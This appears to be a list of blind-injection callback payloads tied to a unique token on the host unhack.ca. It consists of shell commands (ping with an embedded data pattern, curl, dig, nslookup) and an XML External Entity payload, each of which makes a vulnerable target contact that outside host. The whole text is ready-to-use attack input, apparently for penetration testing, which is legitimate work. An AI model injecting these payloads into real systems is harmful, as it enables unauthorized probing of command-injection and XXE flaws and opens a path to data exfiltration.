$ ping -c1 -p 00e1f509adb47097f388cbcecb95ec00 unhack.ca
$ curl http://unhack.ca/p/e1f509adb47097f388cbcecb95ec
$ dig e1f509adb47097f388cbcecb95ec @unhack.ca
$ dig e1f509adb47097f388cbcecb95ec.ns.unhack.ca
C:\> nslookup e1f509adb47097f388cbcecb95ec unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/e1f509adb47097f388cbcecb95ec">]> <foo>&xxe;</foo>